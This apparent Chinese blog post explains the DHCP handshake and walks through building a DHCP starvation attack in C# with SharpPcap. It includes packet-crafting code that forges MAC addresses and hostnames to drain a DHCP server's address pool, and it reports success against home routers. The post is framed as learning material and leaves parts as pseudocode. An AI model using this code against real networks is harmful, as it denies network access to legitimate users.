DHCP协议原理分析与饥饿攻击的实现

有以下基础的同学’食用’效果最佳

  • 网络基础知识
  • 开发基础知识
    本文章仅做学习记录和交流,不提供任何成品

实验过程用到的工具

  • WinPcap 用于二层网络发包
  • SharpPcap C#调用WinPcap的开源nuget包
  • Visual Studio 开发工具
  • WireShark 抓包工具
  • Linux服务器 充当傀儡机(DHCP服务器)

DHCP协议介绍

DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。

DHCP交互过程

交互过程图

  1. DHCP客户端向DHCP服务器请求分配ip地址时会发送discover广播报文

  2. DHCP服务器收到discover请求报文后,响应携带空闲IP、租约时间、网关、DHCP服务器IP等信息的offer报文。根据discover报文内的Bootp flags标识选择广播或单播响应

  3. DHCP客户端收到DHCP服务端offer报文后根据报文内携带的空闲IP发起request报文请求

  4. DHCP服务端收到DHCP客户端的request报文后,正常情况下会响应ack报文,将该空闲IP分配给DHCP客户端

    百度百科解析

DHCP报文格式

DHCP报文格式
报文各字段描述篇幅过长,这里不再赘述,详见:
百度百科 DHCP报文格式介绍

DHCP饥饿攻击

攻击原理:攻击者通过伪造MAC地址持续大量地向DHCP服务器申请IP地址,直到耗尽DHCP服务器地址池的IP地址,使DHCP服务器无法再给正常的主机分配IP地址,使得正常主机不能访问网络。
进阶攻击:攻击者可以伪造DHCP服务器分配ip地址给客户机,实现中间人攻击(可以通过DHCP Snooping防御)

DHCP攻击思路

攻击交互过程
  1. 伪造MAC、主机名,构建发送DHCP_Discover攻击报文
  2. 根据DHCP服务器响应的DHCP_Offer报文取得预分配的IP地址(DHCP数据报文的yiaddr字段)和DHCP服务器IP地址[Option: (54) DHCP Server Identifier)]
  3. 取DHCP_Offer报文的yiaddr字段的IP地址和DHCP服务器IP地址,构建发送DHCP_Request攻击报文
  4. DHCP服务器响应DHCP_Ack,成功分配IP(非法占用IP)
攻击报文生成过程

TCP/IP四层结构模型数据生成

  1. 生成应用层数据–>DHCP数据包(DATA)
  2. 生成传输层数据–>UDP数据包(PORT)
  3. 生成网络层数据–>IP数据包(IP)
  4. 生成接口层数据–>物理层数据包(MAC)
数据封装过程

封装过程图示

编码实战

由于篇幅有限,故不展示全部具体实现方法,只摘取关键代码。部分内容使用伪代码展示

		/// 构建DHCP_Discover数据报文
        /// </summary>
        /// <param name="xid">DHCP事务id</param>
        /// <param name="V_address">请求分配ip的Mac地址(伪造)</param>
        /// <param name="hostname">主机名</param>
        /// <returns>DHCP_Discover数据报文字节数组</returns>
        private byte[] DHCP_Discover_Packet(byte[] xid, PhysicalAddress V_address, string hostname)
        {
            byte[] data = new byte[]{
            0x01, 0x01, 0x06, 0x00,//客户端发送给DHCP服务器
            0x30, 0x7b, 0x44, 0xb6,//事务ID。客户端发起一次请求时选择的随机数,用来标识一次地址请求过程
            0x00, 0x00, 0x80, 0x00,//secs & flags,flags 08 00 让dhcp广播回复
            0x00, 0x00, 0x00, 0x00,//ciaddr
            0x00, 0x00, 0x00, 0x00,//yiaddr
            0x00, 0x00, 0x00, 0x00,//siaddr
            0x00, 0x00, 0x00, 0x00,//giaddr
            0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//chaddr的MAC
            //为方便阅读,省略部分过长报文
            0x63, 0x82, 0x53, 0x63,//Magic cookie: DHCP
            0x35, 0x01, 0x01,//Option: (53) DHCP Message Type (Discover)
            0x3d, 0x07, 0x01,//Option: (61) Client identifier,Length: 7,Hardware type: Ethernet (0x01)
            0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//Option: (61) Client identifier,MAC地址
            0x0c,//Option: (12) Host Name
            0x0f,//Option: (12) Host Name,下面主机名的长度,Length
            0x44, 0x45, 0x53, 0x4b, 0x54, 0x4f, 0x50, 0x2d, 0x46, 0x43, 0x35, 0x41, 0x32, 0x39, 0x42,//Option: (12) Host Name,主机名
            0x3c, 0x08, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30,//Option: (60) Vendor class identifier
            0x37, 0x0e, 0x01, 0x03, 0x06, 0x0f, 0x1f, 0x21, 0x2b, 0x2c, 0x2e, 0x2f, 0x77, 0x79, 0xf9, 0xfc,//Option: (55) Parameter Request List
            0xff,//Option: (255) End
            };
            
            写入事务ID
            写入MAC
            写入hostname
			return data;
       }
 		/// <summary>
        /// 生成DHCP二层通讯报文
        /// </summary>
        /// <param name="address">物理网卡地址</param>
        /// <param name="baseData">DHCP报文数据</param>
        /// <returns>返回DHCP二层通讯报文</returns>
        public EthernetPacket Create_Packet(PhysicalAddress address, byte[] baseData, ushort IP_Identification)
        {
            //构建UDP报文,DHCP使用UDP协议67和68端口
            UdpPacket udpData = UDP_Packet(68, 67, baseData);

            //构建IP报文。发送广播请求IP地址
            IPPacket ipData = IP_Packet(IPAddress.Parse("0.0.0.0"), IPAddress.Parse("255.255.255.255"), IP_Identification, udpData);

            //构建二层报文,二层广播报文目的MAC地址为6个FF
            EthernetPacket ethData = Eth_Packet(address, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), ipData);

            return ethData;
        }
 		/// <summary>
        /// 发送攻击数据报
        /// </summary>
        private void Send_Attack_Packet()
        {
            ConstructingPackets constructingPackets = new ConstructingPackets();

            byte[] xid = Get_Random_Xid();//随机事务id
            PhysicalAddress v_mac = new PhysicalAddress(Get_Random_MAC());//虚拟mac地址
            string hostname = Get_Random_Hostname();//虚拟主机名

            EthernetPacket data = constructingPackets.Create_DHCP_Discover(device.MacAddress, xid, v_mac, hostname, IP_Identification);//构建数据包

            device.SendPacket(data.Bytes);//发包
           
            Console.WriteLine("发包成功 DHCP_Discover --> xid = {0} , mac = {1} , hostname = {2} ", r_xid, v_mac, hostname);
            Console.WriteLine();

        }

攻击效果展示

通过程序批量发送10个请求discover和request报文,成功占用10个ip地址,图中取第一个报文做效果展示攻击效果
查看DHCP服务器的ip分配信息,可以看到地址池的ip已经被占用。
DHCP服务器分配信息

结论

实验过程中攻击家用路由器、linux搭建的DHCP服务器均有效。由于DHCP服务器的IP地址池被非法攻击占满后,新增的设备发送dhcp_discover请求,DHCP服务器不再响应任何报文。

文中如有错误欢迎指正

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值